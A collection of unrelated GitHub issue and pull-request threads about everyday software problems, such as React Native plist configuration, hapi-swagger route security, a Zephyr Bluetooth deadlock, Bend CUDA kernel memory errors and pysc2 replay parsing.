Could not connect to Development Server

Have these errors, any ideas how to solve it?

Does not seem related to this project. You should double check your info.plist file.

Hi Magus,
I'm experiencing the exact problem. I've followed all instructions from README.md file and from FaceBook SDK . I'm using Xcode 7.2 and react-native v0.16.0 and react-native-facebook-login v1.0.2.
What is your suggestion regarding info.plist file, what to check, where to start :) .
Thanks in advance.

Does your problem occur with a fresh react-native project? You should start there with a very basic app. It's nearly impossible to help anyone without viewing your files though.

Hi Magus,
thanks for advice, I've double checked all and fixed problem. Err was in plist file after all.
best regards

@sumzer, if you don't mind please share the specific file or changes which resolved the issue. This seems to be a common enough gotcha that I would love to have a PR to update the README instructions with it.

Hi,
I'll be glad to help.
There is 2 .plist files in my Xcode project and I followed  instructions from https://developers.facebook.com/docs/ios/getting-started#xcode from "5. Configure Xcode Project"
There is instruction to update .plist file for project so I've edited
FBLogin-> Info.plist and put "NSAppTransportSecurity ...." code instead of  FBLoginTests -> Supporting Files -> Info.plist (this was main err)
I'm attaching those 2 files.

Now this works fine.
Best regards

Thanks @sumzer, added more specific instructions on the Info.plist file to modify.


Any idea on inference with TFJS?

The code looks good and the converted models look good too. But, how do we perform inference with TFJS? Seems like you have performed inference, not on the TFJS models and it uses a function from mirnet. So I am guessing we have to implement something similar for TFJS.
If anyone has any idea or implementation for that it would be really helpful!
@Rishit-dagli Great work!

NVM I think it does not do much, just reshape the image and convert it into array.
I should have checked the code before!

Thank You! I had that in the pipeline and planned to get out an example after the model is published on TF Hub. However, it makes a lot of sense to release a live demo and I have started working on that.
Thanks a lot for the suggestion.

Hey @navendu-pottekkat , the implementation part have now been pushed an the details about the same have also been updates in the README. Let me know if you have any more questions.

Hey @navendu-pottekkat , the implementation part have now been pushed an the details about the same have also been updates in the README. Let me know if you have any more questions.

@Rishit-dagli Great! I will take a look

@Rishit-dagli Great! I will take a look


Extract frames at certain time range as Uint8List

Hi. Is it possible to extract frames at certain time range as Uint8List? Thanks!

I would also like to know this


Expose added dock widgets

🚀 Feature
Expose added dock widgets
Motivation
In the case of multiple dock widget plugins "working together", one widget may require to access another, in which case the currently added widgets need to be accessible via napari's Viewer instance somehow.
Pitch
Add a new property/instance variable added_widgets to Viewer or Window that exposes all widget instances added to napari.
Alternatives
Make Window._dock_widgets publicly accessible. However, this would directly expose the QtViewerDockWidget.

Add a new property/instance variable added_widgets to Viewer or Window that exposes all widget instances added to napari.

This seems like a very reasonable request. I'd want them exposed on the Window not the Viewer as they as Qt related.

Make Window._dock_widgets publicly accessible. However, this would directly expose the QtViewerDockWidget.

We could change Window._dock_widgets to contain the widget (instead of the dock widget) and make that public. Recommendation @tlambert03?


Tag latest version & publish to NPM

Please consider doing a release of the latest version that includes the CLI as per the README documentation.
Workaround for interested users:
npm i -g https://github.com/rmurphey/chrome-http2-log-parser

Sorry! Done :)


Request:  Add ability to set security settings on the route

Title pretty much says it all.  Currently you cannot set security settings, would be similar to the auth config.

Hi sorry its taken me a while to get back to you, but its been a busy couple of weeks.
I believe what your looking for is already built in. Take a look at the bin/test-server.js file it is configured for one endpoint to use bearer token auth. This is supported both in Hapi and swaggerui. You should be able to see in the swaggerOptions setup the swagger Security Definitions Object
    securityDefinitions: {
        'Bearer': {
            'type': 'apiKey',
            'name': 'Authorization',
            'in': 'header'
        }
    },
    security: [{ 'Bearer': [] }]

In the bin/routes.js file you should be able to see use of auth property setting its use:
module.exports = [{
    method: 'PUT',
    path: '/v1/sum/add/{a}/{b}',
    config: {
        handler: defaultHandler,
        description: 'Add',
        tags: ['api', 'reduced'],
        notes: ['Adds together two numbers and return the result. As an option you can have the result return as a binary number.'],
        plugins: {
            'hapi-swagger': {
                consumes: ['application/json', 'application/xml']
            }
        },
        auth: 'bearer',
        validate: {
            params: {
                a: Joi.number()
                    .required()
                    .description('the first number'),

                b: Joi.number()
                    .required()
                    .description('the second number')
            }
        }

    }
},

To try this out

Download the project from github
In the command line cd to the directory
$ npm install
$ node bin\test-server
In the browser go to http://localhost:3000

The first endpoint needs a the token to work, you can add it into the form input top right the value is Bearer 12345
If you wish can also set  the Security Requirement Object by using the plugins property of a route. So if we take the swagger petstore example  this security requirement reference would be set in a Hapi route
{
    'method': 'POST',
    'path': '/pets/
    'plugins': {
        'hapi-swagger': {
            'security': {
                'petstore_auth': [
                    'write: pets',
                    'read: pets'
                ]
            }
        }
    }
}

The above should allow you to define custom route based security setting in swagger.
Is this what your looking for?

Actually what I was trying to do was set the X-Frame-Options on the response to sameorigin so that I could display the API within an iFrame.  I ended up switching to angular-swagger-ui to display without an iFrame.

Something completely different what I thought. I am glad you found a solution with angular-swagger-ui.
Its unlikely I will be adding the ability to add headers to the routes add by the plugin options soon.  The list of current options is getting so large I am waiting for a number of people to ask for feature before adding something that extends options list.
You could of cause server all the UI content through routes you create add the headers you want. There is a section in the readme about creating a custom page.
I will close this is issue, but if you have anymore problem along this line please add another comment and I will open it again.


feat: allow pulling pg cert from a remote url

This allows pg-data-nats to grab root certs from a remote instead of as a file on disk or a base64 string. The file will be written to a temp file and then read as normal. This is specifically so the module-index can load a new root RDS cert from a url because the base64 encoded latest version of that cert is too big to fit in SecretsManager. I kind of like this approach better anyhow.
You should be able to pass --pg-cert-url or set SI_MODULE_INDEX__PG__CERTIFICATE_URL to the url. Note that these certs are public and therefore do not need to be encoded as secrets.

bors try

bors try

bors r+


'SemanticTransformerWrapper' object has no attribute 'embed_text'

I'm trying to generate sound with text, but got this:

AttributeError: 'SemanticTransformerWrapper' object has no attribute 'embed_text'

and I didn't find the method embed_text in class SemanticTransformerWrapper either.

@jinyuli oh nice, you must have gotten to the final stage? could you try 1.1.4?

thanks, it's fixed.
but I got another issue, while generating audio with text(running on google Colab):

if cuda is used, then got error like "GET was unable to find an engine to execute", after googling, the cause may be CUDA version incompatible, Colab cuda version is 12.0, Pytorch's is 11.8, I'm not sure whether it's a problem.
if cpu is used, then got error said that all tensors should use the same device, but I've set all transformer to cpu. the error is from the following code:

            logits = self.transformer.forward_with_cond_scale(
                ids = sample_semantic_ids,
                text_embeds = text_embeds,
                cond_scale = cond_scale,
                **kwargs
            )

I tried again today, it's able to generate audio with CUDA now, I didn't change any thing.
thanks for the great work.

that's what i like to hear! you are welcome! 😄


📄 [Documentation Request] - Super User creation

the super user creation model used the method inherited from Unicodex et al of using data migrations to create the user during the first migration.
New feature of Django allows unattended createsuperuser, so with Cloud Run jobs this can be done manually.
Context
Todo:

Document data migration usage, and alternative,

OR

Convert to using unattended creation.

Trying to add this in #179, by adding the command to prime_database.sh:
python3 manage.py createsuperuser --username admin --email<EMAIL_ADDRESS>
and got the following:
Superuser creation skipped due to not running in a TTY. You can run `manage.py createsuperuser` in your project to create one manually.


Bluetooth: Host: Ext Adv on native_posix

Use native_posix as Bluetooth Mesh Demo
Use Another board as Controller，attach to host.
Note：EXT_ADV used.
https://github.com/zephyrproject-rtos/zephyr/blob/main/drivers/bluetooth/hci/userchan.c#L67
Not Mark discardable flag, cause deadlock.
May be introduce by https://github.com/zephyrproject-rtos/zephyr/pull/41337
@hermabe CC

@LingaoM Can you please provide more information, as requested by the bug report template?
How exactly can this be reproduced? Any logs you can share?

@Thalley  https://github.com/zephyrproject-rtos/zephyr/commit/8b54f08a690e2817be111ed43cd33ec05dfe25b3

rx.hdr[sizeof(*hdr)] == BT_HCI_EVT_LE_EXT_ADVERTISING_REPORT) has been removed by https://github.com/zephyrproject-rtos/zephyr/pull/41337 cause deadlock https://github.com/zephyrproject-rtos/zephyr/issues/30955

Extended advertising reports cannot be discarded as the host needs to do reassembly of long advertising data. Legacy advertising reports can be discarded because each report is complete.

From the current design, whether discarded or not, there will be problems, so it needs to be reconstructed

From the current design, whether discarded or not, there will be problems, so it needs to be reconstructed

Can you elaborate more on how/why it is causing a deadlock?

The Bluetooth receiving thread may not be able to process broadcast
packets because the system API(bt_hci_cmd_send_sync) is in block state.
If HCI driver is still waiting buffer for adv report, an assertion will
be triggered.

The Bluetooth receiving thread may not be able to process broadcast packets because the system API(bt_hci_cmd_send_sync) is in block state. If HCI driver is still waiting buffer for adv report, an assertion will be triggered.

Ah, so the bt_hci_cmd_send_sync can not finish because the event RX buffers are full of adv reports?
But as @hermabe said, the extended advertising reports cannot be discarded that easily anymore, and doesn't the same issue exist for any other event unsolicited event (including PA reports as well)?
We current have a system with 2 priorities for events that somewhat handles this. Perhaps we need a 3rd priority, such that
Highest priority: Disconnect events etc.
Medium priority: Events from commands
Lowest priority: Events from scanning/PA syncs

@LingaoM  and @Thalley have you had any progress here?

@LingaoM and @Thalley have you had any progress here?

I have not looked more into this

@LingaoM is this still an issue? Could you re-check?

Closed


Accurately display reason for predictions being disabled

Currently, for example, if the dashboard fails to connect to the radia-productions API, the warning message displayed will state Unsupported Guild, unable to run predictions. , even though that isn't correct.

Completed in 3.2.0.


Added my name to the list

Related issue

What changes does this PR do?
Screenshots (If any)
Questions

Rearranged my name in order

seems not quite right yet.

closing due to inactivity. feel free to reopen


Generic react component (TSX) and intellisense not working

from https://github.com/microsoft/vscode/issues/82276

TypeScript Version:  3.7.0-dev.20191011

Search Terms:

completions / suggestions
react

Code
For a simple typescript react file:
import * as React from 'react';

type Props = {
    name: string;
    isActive: boolean;
};

export const CustomComponent = <T extends {}>(props: Props) => {
    return <React.Fragment>{props.name}</React.Fragment>;
};

export const TestComponent = () => {
    return (
        <CustomComponent<string> |>

        </CustomComponent>
    );
};

Place cursor at | in <CustomComponent<string>
Trigger completions

Expected behavior:
Completions for name and isActive returned
Actual behavior:
No completions are returned.
If you add a property such as isActive={true}, then a completion for name is returned

A friend of mine recently tried using JSX generics and it seems like this fix worked for them.
Here is an oversimplified code snippet that replicates the issue. We've tried this in two different machines and neither worked:
import * as React from "react"

type Variations = "hello" | "baaaaa" | "click"

const MyGeneric = <T extends Variations>({  }) => {
  return

}

const Issue = () => {
  return <MyGeneric<"">></MyGeneric>
}


Set webhook_url as url parameter instead of in config.

This pull request is based on PR #4.
Instead of setting MATTERMOST_WEBHOOK_URL when starting the server,
the url must now be passed as an url parameter in the form
http://this-project-server:port/new_event?mattermost_webhook_url=
I updated the tests and the readme, just as @NotSqrt requested in PR #4.
This commit should fix issue #2.

Coverage decreased (-0.8%) to 89.157% when pulling ff49fe9232a065bbcb0baab95650ef3f54a5de4f on iteratec:master into 4a61a4885afd674528f27e96b7de80e5e67befdf on NotSqrt:master.

Coverage decreased (-0.8%) to 89.157% when pulling ff49fe9232a065bbcb0baab95650ef3f54a5de4f on iteratec:master into 4a61a4885afd674528f27e96b7de80e5e67befdf on NotSqrt:master.

👍


[Bug Report]: Indented Table is rendered in markdown editor, but broken in page view

Describe the Bug
In the Markdown editor, creating a table under a list renders a valid table in the markdown editor, but breaks the table when exiting the editor and viewing the page.
Steps to Reproduce

Paste the following code and observe the difference in the tables in both the markdown editor, and the page view after exiting the editor.

#### Table 1

| Key | Value |
|-|-|
|Indented|False|

#### Table 2

1. One

    - Item 1

    | Key | Value |
    |-|-|
    | Indented | True |

Expected Behaviour
Both tables should look like Table 1 in the page view.
Screenshots or Additional Context

Exact BookStack Version
v21.04.4
PHP Version
No response
Hosting Environment
Docker compose using linuxserver/bookstack image.

Thanks for reporting, this isn't too surprising since tables are not part of the common-mark standard, there will be differences between the front-end & back-end renders.
From my testing, top-level bullet items work fine, gets funky when on nested list items. HTML table syntax should work fine though.
This may be fixed in v2 of https://github.com/thephpleague/commonmark but we can't upgrade to that due to dependency mismatch.  Not really sure it's worth addressing before then since it's such as specific edge case scenario that does technically have a workaround.


Adding a CustomProvider

Allows users to add their own custom provider for the queue

A new inspection was created.

The inspection completed: 10 updated code elements

A new inspection was created.

A new inspection was created.

The inspection completed: 10 updated code elements

A new inspection was created.

The inspection completed: 10 updated code elements

A new inspection was created.

The inspection completed: 10 updated code elements

A new inspection was created.

The inspection completed: 10 updated code elements


Tests fail

Installed the software. Runned mvn clean packaget.
Creation of beans failed:
UnsatisfiedDependencyException: Error creating bean with name 'appRouteService' defined in file [D:\soft-dev\eclipse\wspace-for-ids\dataspace-connector\IDS-ConfigurationManager\target\classes\de\fraunhofer\isst\configmanager\configmanagement\service\AppRouteService.class]: Unsatisfied dependency expressed through constructor parameter 0; nested exception is org.springframework.beans.factory.BeanCreationException: Error creating bean with name 'configModelService' defined in file [D:\soft-dev\eclipse\wspace-for-ids\dataspace-connector\IDS-ConfigurationManager\target\classes\de\fraunhofer\isst\configmanager\configmanagement\service\ConfigModelService.class]: Bean instantiation via constructor failed; nested exception is org.springframework.beans.BeanInstantiationException: Failed to instantiate [de.fraunhofer.isst.configmanager.configmanagement.service.ConfigModelService]: Constructor threw exception; nested exception is java.lang.NullPointerException

Hello and thank you for the feedback.
Could you maybe give us the information which version of the ConfigManager you used or which branch was used to create the Maven package?

Dear TIm
I have used the branch master. After I did mvn clean package and some of the tests failed
Best regards
César
From: Tim Berthold<EMAIL_ADDRESS>Sent: 8 de março de 2021 07:58
To: International-Data-Spaces-Association/IDS-ConfigurationManager-UI<EMAIL_ADDRESS>Cc: César Toscano<EMAIL_ADDRESS>Author<EMAIL_ADDRESS>Subject: Re: [International-Data-Spaces-Association/IDS-ConfigurationManager-UI] Tests fail (#11)
Hello and thank you for the feedback.
Could you maybe give us the information which version of the ConfigManager you used or which branch was used to create the Maven package?
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHubhttps://github.com/International-Data-Spaces-Association/IDS-ConfigurationManager-UI/issues/11#issuecomment-792553902, or unsubscribehttps://github.com/notifications/unsubscribe-auth/ABQGQWERI3O6G6QYWYHDSPDTCR7O5ANCNFSM4YXJU63Q.

Hello and thank you for the feedback!
We will take a closer look at the problem and try to recreate it.

Dear Tim
The log of the tests goes in the annex.
César
From: Tim Berthold<EMAIL_ADDRESS>Sent: 8 de março de 2021 16:02
To: International-Data-Spaces-Association/IDS-ConfigurationManager-UI<EMAIL_ADDRESS>Cc: César Toscano<EMAIL_ADDRESS>Author<EMAIL_ADDRESS>Subject: Re: [International-Data-Spaces-Association/IDS-ConfigurationManager-UI] Tests fail (#11)
Hello and thank you for the feedback!
We will take a closer look at the problem and try to recreate it.
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHubhttps://github.com/International-Data-Spaces-Association/IDS-ConfigurationManager-UI/issues/11#issuecomment-792857637, or unsubscribehttps://github.com/notifications/unsubscribe-auth/ABQGQWBU6TU3DAED4TBLRN3TCTYJLANCNFSM4YXJU63Q.

@tmberthold
Can you transfer this issue to IDS-ConfigurationManager repo?
I am not able to tranfer it.

Created issue "Tests fail on master branch #52" on the IDS-ConfigurationManager . I will close this issue.


simplified some code by returning early and reducing local variable scopes.

Simplified code through early return.
Replaced the variable name strings (conflicted with strings package) with result.
Reduced some local variable scopes.
Changed JWT initialization method. The previous method will be deprecated: 'Deprecated: In future releases, this field will not be exported anymore and should be set with an option to NewParser instead.'

Thanks for the cleanup!


Error when running demo

Thanks for your great work! I use this command: python app/gradio_local.py --port 7860, and get the following error:
[F glutil.cpp:338] eglInitialize() failed
Aborted (core dumped)
I have change "dr.RasterizeGLContext" to "dr.RasterizeCudaContext" in mesh_reconstruction/render.py and still can't work, how to deal with it?

It looks like the nvdiffrast library is not installed correctly.  I wonder will you release the inference code for custom input images?

I didn't understand what is meant by ‘custom input images’? If you want to use 3D generation as a function call, our suggestion is to use Gradio Client to interact with Gradio.

I have the same issue,and I have run the install script.
[F glutil.cpp:338] eglInitialize() failed
Aborted (core dumped)

i have  the same issue

Thanks for your great work! I use this command: python app/gradio_local.py --port 7860, and get the following error: [F glutil.cpp:338] eglInitialize() failed Aborted (core dumped) I have change "dr.RasterizeGLContext" to "dr.RasterizeCudaContext" in mesh_reconstruction/render.py and still can't work, how to deal with it?

Have you solved the issue?


More cases for completeness

Related: #87
Context, substitution, and variable cases are all done.
Now it's only natural number cases (which are most tedious and complex...)
However, I realized that the natural number cases requires a "stronger" functionality of eval (i.e. functionality modulo equivalence of environment), so I decided to make a separate PR after this.

However, I realized that the natural number cases requires a "stronger" functionality of eval (i.e. functionality modulo equivalence of environment), so I decided to make a separate PR after this.

Actually, this stronger functionality is not true (because of the Π a p B case which contains p). Maybe we need to bring functional extensionality again here to compare ps.

Or we can define a weaker notion of equality between two domain values so that it compares that kind of environment occurence in a pointwise manner.

where do we need to compare environments? I don't think we need that in Agda

Now I think about it, maybe they are definitionally equal. The target was drop_env (p \mapsto a \mapsto b) and p \mapsto a if I remember correctly. (I hope it's not the other way around, i.e. dropping first and adding the top member)

Now I think about it, maybe they are definitionally equal. The target was drop_env (p \mapsto a \mapsto b) and p \mapsto a if I remember correctly. (I hope it's not the other way around, i.e. dropping first and adding the top member)

It should be this way. There is no essential need for functional extensionality in the Agda code.

Yeah, anyway, let's pass this PR first and then finish those few natrec cases in a separate PR as this one is already quite big.


[Bug]: Issue in storing logs to s3 from aws lambda function

🔎 Search Terms
Issue in storing logs to s3 from aws lambda function
The problem
Using Winston and S3StreamLogger, I have implemented an error logging system in my node application. Locally, the functionalities work perfectly, and the error files are successfully written to the S3 bucket. when I deploy the app to AWS lambda the errors are not written to the s3 bucket and do not appear any error message in the lambda log. The codes are given below. Thanks
 var s3_stream = new S3StreamLogger({             bucket: this.S3_BUCKET,             folder: "logs/"+ new Date().getFullYear() + "/" + new Date().toLocaleString('default', { month: 'short' }) + "/",             name_format: filename+'.log',             access_key_id: this.S3_ACCESS_KEY,             secret_access_key: this.S3_SECRET_ACCESS_KEY         })
var logger = winston.createLogger({             transports: [(process.env.NODE_ENV == 'local') ? new winston.transports.File({ filename: 'error.log', level: 'error' }) : this.s3_transport(filename)]         })         logger.log({ level, message })
What version of Winston presents the issue?
3.7.2
What version of Node are you using?
14.18.1
If this worked in a previous version of Winston, which was it?
No response
Minimum Working Example
No response
Additional information
No response

Are you using Lambda@Edge? If so, are you writing to / reading from the correct region(s) ?

@wbt Thanks for the response, No i am not using Lambda@Edge, I am using AWS lambda service

That was a good test to run.
Sounds like you might have a permissions issue with the Lambda execution role not having the right permissions to add files into the S3 bucket you're trying to write to.
However, I'm closing this issue because the evidence suggests it's an issue affecting all files, not just Winston-generated ones, and is probably not stemming from an issue in the Winston codebase.  Please feel free to comment with an update if you get it more narrowed down.

@wbt apologies we are using edge, my app is deployed using SAM CLI, this automated deployment created the lambda function as edge. sorry for the mistake.


Infer appropriate MNIInfant cohort based on participant age

Summary

Nibabies already does this (https://github.com/nipreps/nibabies/blob/master/nibabies/utils/bids.py), and it would be great to support it in QSIPrep.

From the nibabies documentation:

Participant Ages
NiBabies will attempt to automatically extract participant ages (in months) from the BIDS layout. Specifically, these two files will be checked:
Sessions file: //subject_sessions.tsv
Participants file: /participants.tsv
Either file should include age (or if you wish to be more explicit: age_months) columns, and it is recommended to have an accompanying JSON file to further describe these fields, and explicitly state the values are in months.


Remove busybox container from tests

It seems that busybox container is no longer needed.

I've run TestRayJobSubmissionRest locally. Also PR check seems to fail only on MCAD jobs and MCAD jobs are expected to fail am I right @sutaakar ?

Right, merging


[1651] mcb - add "users revoke" command

Context
Need to revoke org access for some users. Support tickets waiting to be processed.
Changes proposed in this pull request

new command + tests for revoking user access

Guidance to review
tim@fox:~/repo/dfe/manage/backend(1651-mcb-revoke-users)
$ be bin/mcb users revoke<EMAIL_ADDRESS>A5
User:
+------------------------+---------------------------------------+
| id                     | 115                                   |
| email                  |<EMAIL_ADDRESS>|
| first_name             | bobby                                 |
| last_name              | tables                                |
| first_login_date_utc   |                                       |
| last_login_date_utc    |                                       |
| sign_in_user_id        |                                       |
| welcome_email_date_utc |                                       |
| invite_date_utc        |                                       |
| accept_terms_date_utc  |                                       |
| state                  | new                                   |
+------------------------+---------------------------------------+

Has access to providers:
+-----+--------------+------+
|  id |     name     | code |
+-----+--------------+------+
| 125 | ACME SCITT 1 | A1   |
| 127 | ACME SCITT 3 | A3   |
| 129 | ACME SCITT 5 | A5   |
+-----+--------------+------+

You're revoking access for<EMAIL_ADDRESS>to organisation ACME5.
Provider access being revoked:
+-----+--------------+------+
|  id |     name     | code |
+-----+--------------+------+
| 129 | ACME SCITT 5 | A5   |
+-----+--------------+------+
Agree?  y

Checklist

[ ] Make sure all information from the Trello card is in here
[x] Attach to Trello card
[x] Rebased master
[x] Cleaned commit history
[x] Tested by running locally

 add revoke access command to mcb

Would it make sense to include the organisation to the list of providers?

Would it make sense to include the organisation to the list of providers?
I have no idea :-D
I'm not clear on the use of org info. I'll ask the support folks

Would it make sense to include the organisation to the list of providers?

I have no idea :-D
I'm not clear on the use of org info. I'll ask the support folks

Now that you've explained the output to me, I agree that it's ok as-is.


Make some methods of Module private

Currently, many methods that should not be user facing are user facing:

init_morph()
get_states_from_nodes_and_edges()
initialized
initialize()

Possibly also:

to_jax()
get_all_parameters()

but those might be needed once we expose the update loop.
Also, Compartment.init_conds(), Cell.update_summed_coupling_conductances() (why do we still have this at all?), Network.init_syns().

We might also want to hide these attrs.
"par_inds",
"child_inds",
"child_belongs_to_branchpoint",
"solve_indexer",
"cells_list",
"cumsum_nbranchpoints_per_cell",
"cumsum_nbranches"


Remove the partner question

because we don't use it for anything.
Notes:
Remove from the form objects

needs #139


tests: update say exercise

This PR is the result of running this command:

using the test creation helper tool linked in the wiki, with some modifications to the code necessary for the tool to work.

@vaeng everything should be fixed now. A couple of questions:

I had to modify the exercise creation tool that you linked on the wiki, because it expects configlet to be on the same folder, but configlet expects to be run on the root folder of the repo. Do you see it necessary/useful to add these changes to the tool branch?
Would it be useful to document the process to update these test cases? I'm talking setup tool -> run tool -> format with clang-format -> check for errors. I don't know if it's something that could be of help in the future or if it the process will be discarded once the 6 remaining exercises have their tests updated.

Hello @Elahi-cs,
Thanks for your patience. You did the right thing to ask in the forum and also a nudge to look at this would have been fine.
I think your change is good and welcome, I wanted to ask the other maintainers for feedback before going further, but I haven't had the time yet.
As a result of my late reply, this September or will become tagged for hacktoberfest.
I will not be able to check your code until Tuesday, but maybe @siebenschlaefer has some capacity this weekend.

Related question: is there a way to run the CI tests locally? I don't like making the pipeline run the tests every time, but I also don't know if there's a good way other than using act.

To run exactly what happens in CI, you probably won't get around using something such as act. But what happens is not exactly black magic and you can check the files in .github to see what's going on. The actual code tests are all managed via CMake and run here. So if you have all the prerequisites installed, you can this locally:
cmake .
# run all tests
cmake --build .
# alternatively, run just a single test:
cmake --build . -- test_say


Bitonic Sort on fails on CUDA with (error code an illegal memory access was encountered)

Originally from https://github.com/HigherOrderCO/Bend/issues/364 by user @ethanbarry
Description
When I run the compiled CUDA bitonic sorter example (linked in the README) I get this error:
Failed to launch kernels (error code an illegal memory access was encountered)!
To Reproduce
Steps to reproduce the behavior:
bend gen-cu sorter.bend > sorter.cu
nvcc sorter.cu -o sorter
prime-run ./sorter (Launches it on the GPU for Arch Linux.)
Error recieved.

Expected behavior
The program runs on the GPU.
Desktop (please complete the following information):
OS: Linux (Arch 6.9.1-arch1-1)
CPU: Intel i7-11800H
GPU: RTX 3050 Ti Mobile
GPU Driver: Nvidia open kernel modules v550.78
CUDA release 12.4, V12.4.131

Additional context
The program runs using the C codegen backend, but with the CUDA backend, it seems to fail regardless of what I do. If anyone is curious about the prime-run command, it's really just a script that forces the dGPU to handle a task - nothing fancy.

I am here from the main Bend repo with issue  #Bitonic Sort example failed with GPU kernel error.
I too am having a kernel memory issue:
$ ./sorter # The same as prime-run due to environment variables already being set.
| Failed to launch kernels (error code an illegal memory access was encountered)!

I am also running a mobile gpu where I am getting this issue.
Some GPU properties and info from exec:
--- General Information for device 0 ---
Name: NVIDIA GeForce RTX 3060 Laptop GPU
Compute capability: 8.6
Clock rate: 1425000
Device copy overlap: Enabled
Kernel execution timeout: Enabled

--- Memory Information for device 0 ---
Total global memory:<PHONE_NUMBER>
Total constant memory: 65536
Max memory pitch:<PHONE_NUMBER>
Texture alignment: 512

--- MP Information for device 0 ---
Multiprocessor count: 30
Shared memory per MP: 49152
Registers per MP: 65536
Threads in warp: 32
Max threads per block: 1024
Max thread dimensions: (1024, 1024, 64)
Max grid dimensions:<PHONE_NUMBER>, 65535, 65535)

--- Memory Allocation Test ---
Memory allocation successful!

Specs:
OS: Arch Linux x86_64
Kernel: 6.9.1-zen1-1-zen
GPU: NVIDIA GeForce RTX 3060 Mobile / Max-Q
GPU Driver: nvidia-open-dkms 550.78-4
CUDA Version: 12.4.1-4

As well as that, running it through bend run-cu ./sorter it seems to run indefinitely, though - after a while of testing - I am unable to find what exactly is the cause nor what the execution is being caught on.

I wonder why they needed /4 there - 0x1000 should be safe for every architecture, shouldn't it? AFAIK all devices support 48KB shared memory. Perhaps this is using a little bit more, due to the other shared structures?

I wonder why they needed /4 there - 0x1000 should be safe for every architecture

To report more about this, on my GTX 1080Ti (using WSL2, cuda toolkit 12.3), I have tried:

[ ] 0x2000
[ ] 0x1000 = 0x2000/2
[ ] 0x2000/3
[x] 0x2000/4
[x] 0x0500
[ ] 0x0100

Only 0x2000/4 and 0x0500 did work.

all tries not work for me, on my GTX 1050 Ti.
OS: CentOS Linux release 7.9.2009 (Core)
CPU: Intel(R) Core(TM) i5-8500 CPU @ 3.00GHz
GPU: GTX 1050 Ti
GPU Driver: Nvidia open kernel modules v550.78
CUDA release 12.4, V12.4.131

$ nvidia-smi

+-----------------------------------------------------------------------------------------+
| NVIDIA-SMI 550.78                 Driver Version: 550.78         CUDA Version: 12.4     |
|-----------------------------------------+------------------------+----------------------+
| GPU  Name                 Persistence-M | Bus-Id          Disp.A | Volatile Uncorr. ECC |
| Fan  Temp   Perf          Pwr:Usage/Cap |           Memory-Usage | GPU-Util  Compute M. |
|                                         |                        |               MIG M. |
|=========================================+========================+======================|
|   0  NVIDIA GeForce GTX 1050 Ti     Off |   00000000:01:00.0 Off |                  N/A |
|  0%   58C    P8             N/A /   72W |       2MiB /   4096MiB |      0%      Default |
|                                         |                        |                  N/A |
+-----------------------------------------+------------------------+----------------------+

+-----------------------------------------------------------------------------------------+
| Processes:                                                                              |
|  GPU   GI   CI        PID   Type   Process name                              GPU Memory |
|        ID   ID                                                               Usage      |
|=========================================================================================|
|  No running processes found                                                             |
+-----------------------------------------------------------------------------------------+

$ nvcc --version
nvcc: NVIDIA (R) Cuda compiler driver
Copyright (c) 2005-2024 NVIDIA Corporation
Built on Thu_Mar_28_02:18:24_PDT_2024
Cuda compilation tools, release 12.4, V12.4.131
Build cuda_12.4.r12.4/compiler.34097967_0

test example:
$ time bend run-c sorter.bend
Result: 16646144
bend run-c sorter.bend  47.63s user 0.32s system 435% cpu 11.001 total

$ time bend run-cu sorter.bend
Errors:
1.Failed to parse result from HVM.
Output from HVM was:
"Failed to launch kernels. Error code: an illegal memory access was encountered.\n""exit status: 1"""

bend run-cu sorter.bend  0.03s user 0.06s system 89% cpu 0.097 total

Did anyone manage to find some L_NODE_LEN and L_VAR_LEN values that work for other GPUs?


Feature/etcd3 support with tests

etcd3-support feature tests.
fully utilizes the ones available in the server_test.go for etcdv2.
Also included are bug fixes for the ones caught by the testcases.
PS:
with this we would need etcd v3 running in Travis.

updated with cleanup based on comments.


Allow manually specifying a label

For example allow @apidoc[Http()](HttpExt$) to create a link with a Http() label that links to the HttpExt$ object

Fixed with https://github.com/lightbend/sbt-paradox-apidoc/pull/81


[question] deploying Rancher Server via Docker Swarm

This may be a weird ask, but here goes: I'd like to try to deploy Rancher Server In HA mode on top of Docker Swarm. The rationale for that is to have a low-level orchestration layer in place for Server only, which would not require any existing external resources, e.g. a database or a discovery endpoint.
The catch is that each Rancher Server node in HA mode has to be launched with its unique --advertise-address option. I am stuck trying to find a way of getting that set up on Swarm, as docker service create command does not provide for any way of specifying this value per host.
Any ideas would be appreciated!

Any progress? I'm in the same situation...


An example of supervised learning from replays

I am trying to reproduce the result of "supervised learning from replay" in the sc2le paper, but it seems to me that there is no tutorial on this topic.
By the way, how can I get actions triggered by a player in a replay?

Currently there are no tutorials for using the pysc2 API. For getting data from replays, check out something like this https://github.com/TuringsEgo/starcraft2ai/blob/master/logger/main.cpp. It gives a general idea of logging data from a replay.

Thanks for the information, but I am not sure where to find the actions triggered by a player. Could anyone point it out?

Check /bin/replay_actions.py for examples

I ran replay_actions.py by the command:
python -m pysc2.bin.replay_actions --replays="E:\StarCraft II\Replays\RandomAgent\Simple64_2017-08-17-00-12-44.SC2Replay" > log.txt 2>&1
but the replay cannot be started. The program throws exceptions as the attached:
https://github.com/ChinChangYang/pysc2/blob/master/ccy/20170817_replay/log.txt
The replay I used:
https://github.com/ChinChangYang/pysc2/blob/master/ccy/20170817_replay/Simple64_2017-08-17-00-12-44.SC2Replay
Where can I check first? Thanks.

That is really odd. It's complaining about having not parse the flags. Which version of python and pysc2 are you using?

I am using latest python 3.6 and latest pysc2.

Having the same issues as @ChinChangYang using Windows 10, npm install pysc2, and python 3.6.

Having same issues too. Using Linux and python 3.5

Try python 2.x?

All the replays are invalid using linux and python 2.7

Having same issues with python 2.7 in Windows 10.

Just a note, I had the same issue while writing my own agent.
The problem was that gflags needs some additional setup before it can parse flags. Try making sure that you have this at the end of your file (like all the default programs do);
`def entry_point():  # Needed so the setup.py scripts work.
app.run(main)
if name == "main":
app.run(main)`

@luka-papez I am not sure how to implement your suggestion. I have added the following codes to pysc2/bin/replay_actions.py, but the issue can still be reproduced in my computer.
def entry_point():
app.run(main)
Is it possible to create and paste your patches here? (git clone will be the best to me)

@ChinChangYang If you have that code and it still doesn't work then I don't think I know the answer.
You can check out our incomplete agent stub at:
https://github.com/starcraftaalborg/pysc2/blob/1173a96ae7a6d3bf8f58929077dfe9e27bc2f552/pysc2/agents/expert_networks_agent.py#L172
I've highlighted the added lines without which the agent reports the error you've mentioned.

@luka-papez

You can check out our incomplete agent stub at:
